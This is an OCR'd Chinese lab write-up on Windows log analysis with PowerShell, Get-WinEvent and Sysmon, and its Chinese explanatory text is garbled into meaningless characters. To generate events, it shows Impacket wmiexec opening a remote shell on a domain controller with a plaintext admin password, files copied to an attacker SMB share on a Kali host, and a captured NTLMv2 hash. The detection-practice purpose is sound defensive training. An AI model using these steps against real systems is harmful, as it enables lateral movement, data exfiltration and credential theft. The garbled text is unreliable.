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1. F5HAT 10 FEFIHNITREERYIR > BETEERTE - PID »
{SREERE (RI{EFH Get-Process)

1. LB E#IRFH R powershell PSE

alp
cu

Windows PowerShell ISE

R

O R
6 URKEEESSSNT

2. EEWERAGet-TopProcess.ps1
SEMEERENIMS

B %#%&78: Windows PowerShell ISE
fB®() HEDO BHRV) IEN HED MiowEe) #HEdH

)
R = [ { 0O » ) | JE -

IGethopProcess.pﬂ X

# 1. MSMALER
# 2. [RELEEERE (Workingseted) EEHIF
# 3. HIGA1 10 =
# 4. HI{LE@EIETMEL
Get-Process |
Sort-Object -Property WS -Descending |

NV B W

Sort-Object -Property WS -Descending

WS 3 Working Set - Bl BRI EARIERRR

FOAESHESRAE

8 Boo &[E.

Select-Object -First 10 -Property Name, Id, @{Name="Memory(MB)"; Expression={[Math]::Round($_.wWs / 1MB

Z5e - HMEA -Descending ( [RE )



Select-Object -First 10

EMBEEmESE  RE MR THESF -

&MU (Calculated Properties):
[R¥GH WS BAIZMI7c/A (Bytes) - B AFAKREEHTE - £ @{Name="..";
Expression={..}} KRG EEBRS MB - WHIEAL AR/ NEEERMAL -

3. MATHERA

B 3% E: Windows PowerShell ISE
BXF /EE BEV) I1EM EHD) MctHA) HEH)
0 & H 4 E PN B = |8 Boo|m@.

PS C:\WINDOWS\system32> C:\Users‘\david\OneDrive\=H\Get-TopProcess.psl

Name Id Memory(MB)
explorer
CiscoCollabHost 1528
Slack 12580
chrome 3332
steamwebhelper 17616
chrome 20520
chrome 17016
chrome 18400
chrome 24484
wmlhost 16096

4. Windows B 7Z% EREBZIUIFMTHEITIESMNRA - tiREBERerror - o] IEAT
LA Fcommand line /85 #1.47 Bl 2

Set-ExecutionPolicy -ExecutionPolicy RemoteSigned -Scope CurrentUser



2. T:HE) 10 EERIHITE Windows BR¥E > EFiEHAKES
Running) BIBRFS

FTBIWindows PowerShell ISE - ET B EF 217 .ps1 BEXUAREIFZ :
Get-Service | Where-Object {$_.Status -eq "Running"} | select -First 10

| show-top10-service.ps1 X
1 Get-Service | Where-Object {3_.Status -eq "Running"} | select -First 10

EFRE N OEIIBARERBHUERRITESR -
ABWindowsR F 2R - FRRERIENITHET PowerShell fIZA - FLILE Bk LU E

=
=qn= o
AZXAIV/CA

ecurityException

HTERERLERE  AES Set-ExecutionPolicy -Scope Process -
ExecutionPolicy Bypass FEEMIUERNITRIA



BR¥IT.psMEEE - KINEMA 10 EERTHTH Windows IR7% - EFELARER
"Running ; BIARFS

PS C:\Users\user> Set-ExecutionPolicy -Scope Process -ExecutionPolicy Bypass
PS C:\Users\user> C:\Users\user\Downloads\show-topl0-service.psl

Name DisplayName
Running Appinfo Application Information
Running AudioEndpointBu... Windows Audio Endpoint Builder
Running Audiosrv Windows Audio
Running BFE Base Filtering Engine
Running BITS Background Intelligent Transfer Ser...
Running BluetoothUserSe... EFEHESERE_ff576c8
Running BrokerInfrastru... Background Tasks Infrastructure Ser...
Running BTAGService EFEMEERE
Running BthAvcipSvc AVCTP fE¥E
Running bthserv EF=ERE




3. EHRA 24 NEFRET 10 ERNEAKRIIEH (Event ID:
4624) > MR - EAEE « FAERR (FIER Get-
WinEvent)

1. ¥TB3 Windows PowerShell ISE ##2 PowerShell iz

B Windows PowerShell ISE - D
File Edit View Tools Debug Add-ons Help
B 4 ox|9 » 5 B | % |8 | [Boo|mm.
Untitled1.ps1* X
1 Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624; StartTime=(Get-Date).AddHours(-24)} |Select-Object -First 10 |
2 =IForEach-Object {
3 $xml = [xm1]$_.Toxm1()
4 $data = @{}
5 $xm1.Event.EventData.Data ForEach-Object { $data[$_.Name] = $_. '#text' }
6 = [PSCustomObject]@{
7 B = $_.TimeCreated
8 ZAER = $data['LogonType']
9 {ERA&MSE = Sdata['TargetUserName']

10 }

11 |} | Format-Table -AutoSize
12

13

PowerShell fIAASA :

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624; StartTime=(Get-
Date).AddHours(-24)} |
Select-Object -First 10 |
ForEach-Object {
$xml = [xml]$_.ToXml()
$data = @{}
$xml.Event.EventData.Data | ForEach-Object { $data[$_.Name] = $_.'#text' }
[PSCustomObject]@{
BF [ = $ .TimeCreated
BAfER = $data['LogonType']
ERENRSE = $data[ ' TargetUserName']

}
} | Format-Table -AutoSize

e StartTime=(Get-Date).AddHours(-24) EERMEEZ :
o Get-Date = NBIRERE
o .AddHours(-24) = Fai#E 24 /N

o 1Id=4624 £ Windows Security Log B ZRE AL (Event ID: 4624)
e Select-Object -First 10 B FIEHPHEAT 10 £



2. BHAEEZERE ( IRFBRENEFLE )

B save As X
& v 0 @M > Desktop > C Search Desktop L
Organize ¥ New folder B0 w o

4
¥ Home volatility
EJ Gallery volatility_2.6_win64_standalone
> @ OneDrive - Pers: Volatility_Training_Pack
volatility3
& Desktop wallpaper |
4 Downloads winPwn
File name: | Get-LoginSuccessEvents.psT| v ,
Save as type: PowerShell Files(*.ps1, *.psm1, *.psd1, *.ps1xml, *.pssc*, *.psrc, *.cdxml) e

~ Hide Folders Cancel

3. [@&] Windows PowerShell ISE 77 M58 PowerShell EES &
9 A E =B B DI ITRIIAR
HITZEBBIRERABRBRIE AR AT SR
WM NFR7R

PS C:\Users\kazma> C:\Users\kazma\Desktop\Get-LoginSuccessEvents.psl
Get-WinEvent : No events were found that match the specified selection criteria.
3 \kazma\Desktop\Get-LoginSuccessEvents.psl:1 char:1
t -FilterHashtable @{LogName='Security'; Id=4624; StartTim ...

+ CategorylInfo = ctNotFound: (:) [Get-WinEv , Exception
+ FullyQualifiedErrorId : NoMatchingEventsFound,Microsoft.PowerShell.Commands.GetWinEventCommand

4. K TEEHBEIBNABER
L E #3118 Windows PowerShell ISE MU EIE SRR
3% ctri+alt+delet HRIFVFAMTIEESIES
EEHETES (Lock)
BEAHTEERETHARBEASKEITEEEASH
BREAMABHUEBEMIUERNHESHER




ANFA7R

PS C:\WINDOWS\system32> C:\Users\kazma\Desktop\Get-LoginSuccessEvents.psl

551 BEAEE ERERR
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3/16/2026
3/16/2026
3/16/2026
3/16/2026
3/16/2026
3/16/2026
3/16/2026
3/16/2026
3/16/2026

SYSTEM
SYSTEM
SYSTEM
SYSTEM
SYSTEM
SYSTEM
kazma
kazma
kazma
kazma
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4. Sysmon &3 & B

ﬁffﬁ%ﬁﬂﬁiﬁ?” Get-SysmonEvent *HE%H%‘M

 Solution 1. 55 Al &L —1& .ps1 script

1 function Get-SysmonEvent {

2 param($EventID,$StartTime,$EndTime)

3

4 Get-WinEvent -FilterHashtable @{

5 LogName = "Microsoft-Windows-Sysmon/Operational”
6 Id = $EventID”

7 StartTime = $StartTime

8 EndTime = $EndTime

9 }
10 }

e Solution 2. Posh-Sysmon

>_ PowerShell Gallery Packages Publish Documentation

Search PowerShell packages:

g Posh-Sysmon 1.2
Module for the creation and managing of Sysinternal Sysmon configuration XML files.

4,305 Minimum PowerShell version
Downloads 3.0
3,138 ‘ )

v
N Instellation Options
View full stats Install Module Install PSResource Azure Automation Manual Download
2018/9/21
Last Published Copy and Paste the following command to install this package using PowerShellGet More Info
Info

. . PS> Install-Module -Name Posh-Sysmon ]

Project Site
License Info
Contact Owners
Report

Owners

cperez

o Solution 3. EEFRIRAE Get-WinEvent



ERHRAREA—E NEREIEI S (Event ID: 1) > BETRER « HITHIEE
i~ SERE

o RETIRE : WEELL Kali(10.0.0.87) #1T WMI lRFEERETHREDZE E Domain
Controller(10.0.0.10)

3!

cet-v ‘administrator':'lqazaWSX'®10.0.0.10 -debug

Impacket v@0.13.0.dev@ - Copyright Fortra, LLC and its affiliated companies

Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
SMBv3.0 dialect used

Target system is 10.0.0.10 and isFQDN is False

StringBinding: \\\\DC@1[\\PIPE\\atsvc]

StringBinding: DCO1[49666]

StringBinding: 10.0.0.10[49666]

StringBinding chosen: ncacn_ip_tcp:10.0.0.10[49666]

Launching semi-interactive shell - Careful what you execute

Press help for extra shell commands

>l

eo—mem k% +

A——m———————
e e e e e e e e

« £ Domain Controller #{ Posh-Sysmon #1754 EventlD=1 &5

PS C:\Users\Administrator> Get-SysmonEventData -EventId 1 -MaxEvents 5

o FEIBELET AD A8 H = - 7 Domain Controller EIMENZEER WMI ETROEE

o H parentUser 5 NT AUTHORITY #E[R - URILEOBENFEARIRSESHAE

EE -



WmiPrvSE.exe #EBIZEER WMI # 8

EventId

EventType
Computer

RuleName

UtcTime
ProcessGuid
ProcessId

Image

Fileversion
Description
Product

Company
originalFileName
CommandLine
CurrentDirectory
User

LogonGuid

LogonId
TerminalSessionId
IntegrityLevel
Hashes
ParentProcessGuid
ParentProcessId
ParentImage
ParentCommandLine
Parentuser

= il
: ProcessCreate
: DCOl.corp.local

2026-03-16 13:55:51.575
{71C1D13A-0BE7-69B8-CD17-000000000700}

: 49452

: C:\Windows\System32\cmd.exe

: 10.0.14393.0 (rsl_release.160715-1616)

: Windows Command Processor

: Microsoft® Windows® Operating System

: Microsoft Corporation

: Cmd.Exe

: cmd.exe /Q /c dir 1> \\127.0.0.1\ADMINS\__1773668987.614652 2>&1
= G\

: CORP\Administrator

{71c1D13A-0A7B-69B8-346F-FD0400000000}

: 0x4fdef34

: 0

: High

. SHA256=935C1861DF1F4018D698E8B65ABFA02D7E9037D8F68CA3C2065B6CA165D44AD2

{71C1D13A-9F34-6933-1B00-000000000700}

. 1472

:\Windows\System32\wbem\WmiPrvsE.exe

: C:\Windows\system32\wbem\wmiprvse.exe
: NT AUTHORITY\NETWORK SERVICE

cmd.exe #XEIEI HEHIT

EventId

EventType
Computer

RuleName

UtcTime
ProcessGuid
ProcessId

Image

Fileversion
Description
Product

Company
originalFileName
CommandLine
CurrentDirectory
User

LogonGuid

LogonId
TerminalSessionId
IntegrityLevel
Hashes
ParentProcessGuid
ParentProcessId
ParentImage
ParentCommandLine
ParentUser

o

ProcessCreate
DCO1.corp. local

2026-03-16 13:55:51.581
{71C1D13A-0BE7-69B8-CE17-000000000700}
49476

C:\Windows\System32\conhost.exe
10.0.14393.0 (rsi_release.160715-1616)
console Window Host

Microsoft® Windows® Operating System
Microsoft Corporation

CONHOST. EXE
\??\C:\Windows\system32\conhost.exe Oxffffffff -Forcevl
C:\Windows

CORP\Administrator
{71C1D13A-0A7B-69B8-346F-FD0400000000}
0x4fdef34

0

High

SHA256=046F7A1lB4DE67562547EDS9AL80A72F481FC41E803DE49A96D7D7C731964D53A0

{71C1D13A-0BE7-69B8-CD17-000000000700}

49452

C:\Windows\System32\cmd.exe

cmd.exe /Q /c dir 1> \\127.0.0.1\ADMINS$\__1773668987.614652 2>&1
CORP\Administrator




ERAREA—E 4ERELR) S (Event ID: 3) » BEREKIE IP - B
IP « EEMEARI

o TEH#EITHM Event ID: 3 FF + BIRBEIFEIEFIINZ log WEE BEFE - BIRTE
sysmon FN&ERFFZEI Network connection ft{ enable

S (:\Users\Administrator\Desktop> C:\Users\Administrator\Desktop\sysmon\Sysmon.exe

\‘\tem Monitor \1\ lﬂ - System aLt1\1tx monitor

ration
008-2012 Daniel Veillard. All Rights Reserved.

Current configuration:
- Service name:
Driver name: g
Config file: C:\Users\Administrator\Desktop\sysmon\Sysmon.exe -1

oAlenrithms: SHA?256A
Lnnnext1on disabled

DNS lookup: . enabled

#217—1& xml config 18 * 3 ProcessCreate ° Network connect * FileCreate

enable

:I sysmon_testxml - Notepad

File Edit Format View Help

<Sysmon schemaversion="4.,90">
<HashAlgorithms>SHA256</HashAlgorithms>
<EventFiltering>
<ProcessCreate onmatch="exclude" />
<NetworkConnect onmatch="exclude" />
<FileCreate onmatch="exclude"™ />
</EventFiltering>
</Sysmon>



e sysmon.exe -c C:\sysmon_test.xml & xml & A

S C:\Users\Administrator\Desktop> C:\Users\Administrator\Desktop\sysmon\Sysmon. exe C:\sysmon_test. xml]

crosoft t
2 is Copyright (C) 1998-2012 Daniel Veillard. All Rights Reserved
Sysinternals — www. sysinternals. com

Loading configuration file with schema version 4.90
Configuration file validated.
Configuration updated.

° ﬁﬁlﬂﬂ% Network connection enabled

S C:\Users\Administrator\Desktop> C:\Users\Administrator\Desktop\sysmon\Sysmon. exe
System Monitor v15. l — System activity monitor

2 Daniel Veillard. All Rights Reserved

name
g file: 2 \sysmon_test. xml
Config hash: SHA256=E27D87CF72A7320DF71DC8918E79709B897C266A183C6DASSET1AFS3

HashingAlgorithms: SHA256
ork connection: enabled
Archive Directory: -
Image loading: disabled
CRL checking: enabled
— DNS lookup: enabled

o FETIBIE : WEE Kali(10.0.0.87) FARY smb server [RIZETIEREH - &
Domain Controller(10.0.0.10) & &}{Z &[] Kali(10.0.0.87)

[~/Desktop]
r aaa . -smb2support
Impacket vo. 13 0 dev@ - Copyright Fortra, LLC and its affiliated companies

[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188
[*x] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A
[*] Config file parsed
[*] Config file parsed

V:
V:

« 7 Domain Controller(10.0.0.10) & &[0 Kali
PS C:\Users\Administrator\Desktop> copy . \\10.0. 0. 87\aaa

C:\Users\Administrator\Desktop> m




« Kali(10.0.0.87) U4 &2k B Domain Controller RIE4R

5 aaa . upport
ev@ - Copyright Fortra, LLC and its affiliated companies

Config file parsed

Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:i3.0

Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0

Config file parsed

Config file parsed

Incoming connection (10.0.0.10,59796)

AUTHENTICATE_MESSAGE (CORP\Administrator,DC@1)

User DCO1\Administrator authenticated successfully

Administrator :: CORP:aaaaaaaaaaaaaaaa:95df22c9b59e32b5c0c343195e3d41d7:010100000000000080de95790chb6dcO
1e7e5b755c8d2f029000000000100100043006f005500510067007300640054000300100043006Ff00550051006700730064005400
02001000460044004d004200760052007200660004001000460044004d00420076005200720066000700080080de95790cb6dc010
600040002000000080030003000000000000000000000000030000008c19b259c7075feab8284ff2f442f5a26e€a80bdb9b7be3ab7
8alb1ff48780980a0010000000000000000000000000000000000009001c0063006900660073002f003100300020030002e00300
02e0038003700000000000000000000000000
[*] Connecting Share(1:IPC$)
[*] Connecting Share(2:aaa)
[*] Disconnecting Share(1:IPC$)
*] Disconnecting Share(2:aaa)

o PR Get-WinEvent fH{&E:FE

Get-WinEvent -FilterHashtable @{
LogName = 'Microsoft-Windows-Sysmon/Operational’
Id =3
} -MaxEvents 50 | ForEach-Object {
$xml = [xml]$_.ToXml()
$data = @{}
foreach ($d in $xml.Event.EventData.Data) {
$data[$d.Name] = $d. '#text"’

}

[PSCustomObject]@{
TimeCreated = $ .TimeCreated
Sourcelp = $data['Sourcelp']
DestinationIp = $data[ 'DestinationIp']
Application = $data['Image’]

}

} | Format-Table -Auto



